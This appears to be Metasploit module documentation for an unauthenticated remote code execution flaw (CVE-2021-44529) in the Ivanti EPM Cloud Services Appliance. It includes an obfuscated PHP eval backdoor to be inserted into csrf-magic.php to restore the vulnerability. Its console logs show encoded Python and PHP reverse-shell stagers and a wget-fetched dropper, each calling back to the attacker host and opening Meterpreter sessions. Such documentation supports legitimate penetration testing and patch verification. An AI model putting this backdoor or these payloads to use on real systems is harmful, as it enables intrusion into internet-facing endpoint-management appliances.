## Vulnerable Application

Ivanti Cloud Services Appliance for Ivanti Endpoint Manager is a appliance that is
designed to manage endpoints (Desktops). It also know under the name LANDESK. The
appliance can be either a physical or a virtual appliance and it runs a web based application
where the HTTP web interface is typically exposed to the public internet.

A code injection vulnerability in the Ivanti EPM Cloud Services Appliance (CSA) before
version `4.6.0-512` allows an unauthenticated user to execute arbitrary code with limited
permissions by sending a specially crafted cookie to the client endpoint at `/client/index.php`.
Successful exploitation results in command execution as user `nobody`. The logic of how
the cookie is retrieved and executed is explained in more detail at
https://attackerkb.com/assessments/d200fb32-b92f-4f69-8ae1-f6e253cf00c2 and shows how a
encoded PHP snippet is used to determine which cookie to pass to an `eval()` statement
that will execute arbitrary commands from the attacker as the `nobody` user.

Installing a vulnerable test bed requires an Ivanti EPM Cloud Services Appliance (CSA),
either physical or virtual with the vulnerable software installed.

This module has been tested against a virtual Ivanti EPM Cloud Services Appliance (CSA)
with the specifications listed below:

* Ivanti EPM Cloud Services Appliance (CSA)
* Version: `4.6.0-20211203.1950`
* Remark: Manually added vulnerable code in `/opt/landesk/broker/webroot/lib/csrf-magic.php`

## Verification Steps

### Installation
Below are the steps to install and setup a vulnerable Ivanti EPM Cloud Services virtual Appliance (CSA).

* Download the CSA 4.6 virtual appliance
  [ISO](https://download.ivanti.com/product/CSA/46/ldcsa-scsi-csrffix.iso) and follow the
  instructions [on the
  form](https://forums.ivanti.com/s/article/How-to-Create-CSA-VM-from-ISO?language=en_US).
* Once the application has been set up, log in with the username `admin` and password
  `admin`.
* Follow the prompt to change the admin password.
* Login into the appliance again with username `admin` and the password you set.
* Add a second network interface on the VM at your hypervisor. This will allow you to run
  and test the appliance without activation.
* Follow the instructions on the screen to finalize the setup.
* Start the appliance again and login with `admin` user and navigate to the security tab
  listed on the left side of the screen.
* Under `Trusted Services`, click the checkmarks next to `Secure Shell access` to enable
  SSH access.
* Login to the system via SSH with the user `admin` and the password that you set.
* Open `/opt/landesk/broker/webroot/lib/csrf-magic.php` as the `root` user using `sudo`.
* Just before `// Load user configuration` section in this file, add the following code
  which will reintroduce the vulnerable code that was removed as part of the patch.
  For more details on this, please read article [attackerkb CVE-2021-4459](https://attackerkb.com/topics/XTKrwlZd7p/cve-2021-44529).
```
// Obscure Tokens
$aeym="RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysn";
$lviw = str_replace("m","","msmtmr_mrmemplmamcme");
$bbhj="JGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2";
$hpbk="fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYg";
$rvom="KSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ==";
$xytu = $lviw("oc", "", "ocbocaocseoc6oc4_ocdoceoccocoocdoce");
$murp = $lviw("k","","kckrkeaktkek_kfkunkcktkikokn");
$zmto = $murp('', $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom))); $zmto();
```
* Open up WireShark and then click `System` on the tabs on the left side of the screen.
* Under `Network Settings`, click the `Save` button, then check WireShark for DNS requests to
  `centos` related endpoints. You should see a few that are from the CSA target.
* Save and run the Metasploit module below against the CSA target IP.

1. `use exploit/linux/http/ivanti_csa_unauth_rce_cve_2021_44529`
1. `set RHOSTS <CSA target IP>`
1. `set RPORT <port>`
1. `set LHOST <attacker host ip>`
1. `set LPORT <attacker host port>`
1. `set TARGET <0-Unix command, 1-PHP command or 2-Linux dropper>`
1. `exploit`
1. You should get a `bash` shell, `python` shell  or `meterpreter` session depending on the target and payload settings.

## Options
No additional options.

## Scenarios

### Ivanti Cloud Services Appliance RCE using payload cmd/unix/python/meterpreter/reverse_tcp
```
msf > use exploit/linux/http/ivanti_csa_unauth_rce_cve_2021_44529
[*] Using configured payload cmd/unix/python/meterpreter/reverse_http
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set target 0
target => 0
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set payload cmd/unix/python/meterpreter/reverse_tcp
payload => cmd/unix/python/meterpreter/reverse_tcp
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set rhosts 192.168.100.41
rhosts => 192.168.100.41
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lport 4444
lport => 4444
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > exploit

[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.41:443 can be exploited.
[+] The target is vulnerable. Version: 4.6.0-20211203.1950
.
[*] Executing Unix Command with echo exec\(__import__\(\'zlib\'\).decompress\(__import__\(\'base64\'\).b64decode\(__import__\(\'codecs\'\).getencoder\(\'utf-8\'\)\(\'eNo9UE1LxDAQPTe/IrckGEO71K4uVhDxICKCuzeRpU1GDU3TkGS1Kv53G7I4hxnezJs3H3p0k484THKAyL+N7nnfBWhqHqI/yMijHgG9Th7PWFvsO/sGtCrZBhXRfy2+CG1uFjnQFT/i7ePN/X67e7q9fmCJJ+RkLchIKakuVqJqzkVVlmJNeL0YS5zeQzegAmYJLibxNF0EA+DoGUOmzUuJg3WdHCi5uiM8CA/ygy4Cz+ULUu0RG4Y+37UBbMBSxS7NIqdO/qunOc0QzCBpulsokNPoPIRA8wtE39QpqSAx+Q8JZBN+GfoDHtFfMQ\=\=\'\)\[0\]\)\)\) | exec $(which python || which python3 || which python2) -
[*] Sending stage (24380 bytes) to 192.168.100.41
[*] Meterpreter session 1 opened (192.168.100.7:4444 -> 192.168.100.41:59430) at 2023-01-08 16:43:38 +0000

meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Linux 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020
Architecture : x64
Meterpreter  : python/linux
meterpreter > getuid
Server username: nobody
meterpreter >
```

### Ivanti Cloud Services Appliance RCE using payload php/meterpreter/reverse_tcp
```
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set target 1
target => 1
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set rhosts 192.168.100.41
rhosts => 192.168.100.41
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lport 4444
lport => 4444
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > exploit

[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.41:443 can be exploited.
[+] The target is vulnerable. Version: 4.6.0-20211203.1950
.
[*] Executing PHP Command with /*<?php /**/ error_reporting(0); $ip = '192.168.100.7'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
[*] Sending stage (39927 bytes) to 192.168.100.41
[*] Meterpreter session 2 opened (192.168.100.7:4444 -> 192.168.100.41:59432) at 2023-01-08 16:47:23 +0000

meterpreter > sysinfo
Computer    : localhost.localdomain
OS          : Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: nobody
meterpreter >
```

### Ivanti Cloud Services Appliance RCE using payload linux/x64/meterpreter/reverse_tcp
```
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set target 2
target => 2
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set rhosts 192.168.100.41
rhosts => 192.168.100.41
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lport 4444
lport => 4444
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set srvport 1080
srvport => 1080
msf exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > exploit

[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.41:443 can be exploited.
[+] The target is vulnerable. Version: 4.6.0-20211203.1950
.
[*] Executing Linux Dropper
[*] Using URL: http://192.168.100.7:1080/oBGKBxPUe3Uos
[*] Client 192.168.100.41 (Wget/1.14 (linux-gnu)) requested /oBGKBxPUe3Uos
[*] Sending payload to 192.168.100.41 (Wget/1.14 (linux-gnu))
[*] Sending stage (3045348 bytes) to 192.168.100.41
[*] Command Stager progress - 100.00% done (119/119 bytes)
[*] Meterpreter session 3 opened (192.168.100.7:4444 -> 192.168.100.41:59436) at 2023-01-08 16:52:10 +0000
[*] Server stopped.

meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.el7.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: nobody
meterpreter >
```

## Limitations
Due to the port restrictions of a hardened CSA appliance typically only port `80` and `443` are open for inbound and outbound traffic.
Also avoid using stageless payloads because they may exceed the maximum Cookie header size that will cause the payload delivery to fail.
